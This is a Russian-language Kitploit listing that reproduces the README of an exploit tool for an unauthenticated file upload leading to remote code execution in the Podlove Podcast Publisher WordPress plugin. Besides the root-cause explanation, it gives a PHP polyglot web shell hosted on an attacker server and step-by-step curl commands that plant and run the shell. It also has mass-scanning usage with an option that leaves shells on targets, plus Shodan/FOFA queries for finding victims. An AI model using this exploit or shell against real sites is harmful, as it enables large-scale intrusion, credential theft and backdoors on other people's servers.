Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-13001 — Эксплойт для CVE-2026-13001 — неаутентифицированная произвольная загрузка файлов в плагине Podlove Podcast Publisher для WordPress, позволяющая удалённое выполнение кода через загрузку PHP-полиглота. Включает режимы одиночной цели и массового сканирования. | Kitploit
Инструменты/GitHubGitHub/byt3l0rd/cve-2026-13001
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubbyt3l0rd/cve-2026-13001

CVE-2026-13001

Эксплойт для CVE-2026-13001 — неаутентифицированная произвольная загрузка файлов в плагине Podlove Podcast Publisher для WordPress, позволяющая удалённое выполнение кода через загрузку PHP-полиглота. Включает режимы одиночной цели и массового сканирования.

Репозиторий
11 ч 6 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-13001 — Podlove Podcast Publisher: неаутентифицированная загрузка файлов с удалённым выполнением кода (RCE)

Несоответствие is_image() и extract_file_extension() → загрузка PHP-полиглота


Обзор

CVE-2026-13001 — критическая (CVSS 9.8) неаутентифицированная уязвимость произвольной загрузки файлов в плагине Podlove Podcast Publisher для WordPress версий ≤ 4.5.1.

Уязвимость эксплуатирует несоответствие между двумя внутренними функциями, которые по-разному разбирают расширения файлов:

  • is_image() использует basename(), который включает строку запроса → URL shell.php?.gif выглядит как .gif ✅ (валидное изображение)
  • extract_file_extension() использует только путь из parse_url() → возвращает .php → файл сохраняется с расширением .php 🚨

Атакующие загружают GIF89a PHP-полиглоты (валидный GIF-заголовок + встроенный PHP), которые проходят проверку изображения, но выполняются как PHP при обращении.

Затронутые версии

ВерсияСтатус
≤ 4.5.1Уязвима
4.5.2+Исправлена

Обнаружено: Talal Nasraddeen через Wordfence (14 июля 2026 г.)


Механизм уязвимости

Корневая причина

root@kitploit:~
// is_image() — использует basename(), который включает строку запроса
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ ОБХОД
root@kitploit:~
// extract_file_extension() — использует только путь из parse_url()
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 СОХРАНЯЕТСЯ КАК .php

Схема атаки

root@kitploit:~
1. Атакующий размещает GIF89a PHP-полиглот на attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() проверяет расширение .gif → ПРОЙДЕНО
4. Плагин скачивает файл → сохраняет как test_original.php в cache/
5. Атакующий обращается к /wp-content/cache/podlove/{hash}/test_original.php
6. PHP выполняется → RCE

Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Использование

root@kitploit:~
# Одиночная цель
python cve_2026_13001.py -t target.com

# Массовое сканирование
python cve_2026_13001.py -f targets.txt -o shells.txt

# Пользовательский URL полезной нагрузки
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Режим отладки, оставить шеллы
python cve_2026_13001.py -t target.com --debug --no-cleanup

Аргументы

root@kitploit:~
  -t, --target       Одиночная цель (домен или IP)
  -f, --file         Список целей, по одной на строку
  -o, --output       Сохранить RCE-URL в файл
  --payload-url      URL, размещающий PHP-полиглот (по умолчанию: GitHub raw)
  --threads          Количество параллельных потоков (по умолчанию: 30)
  --no-cleanup       Оставить шеллы на цели
  --debug            Показывать каждый HTTP-запрос
  -v, --verbose      Подробный вывод

Доказательство концепции

Одиночная цель

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Массовое сканирование

root@kitploit:~
  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

Ручная эксплуатация

Шаг 1 — Разместите полиглот-шелл

root@kitploit:~
// shell.php — сохраните и разместите на своём сервере
GIF89a<?php system($_GET['c']); ?>

Шаг 2 — Hex-кодируйте URL с обходом

root@kitploit:~
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Шаг 3 — Запустите загрузку в кэш

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Шаг 4 — Обратитесь к шеллу

root@kitploit:~
# Путь: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Воздействие

Успешная эксплуатация даёт удалённое выполнение кода от имени пользователя веб-сервера:

  • Извлечение wp-config.php → учётные данные базы данных
  • Доступ ко всему контенту WordPress, пользователям и данным плагинов
  • Развёртывание постоянных бэкдоров
  • Переход во внутренние сети

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ.

Авторы не несут ответственности за неправомерное использование.


Ссылки

РесурсСсылка
Консультация Wordfencewordfence.com
Релиз безопасности Podlovepodlove.org
Запись NVDCVE-2026-13001
ИсследовательTalal Nasraddeen

Не аффилировано с Podlove.

Скачать инструмент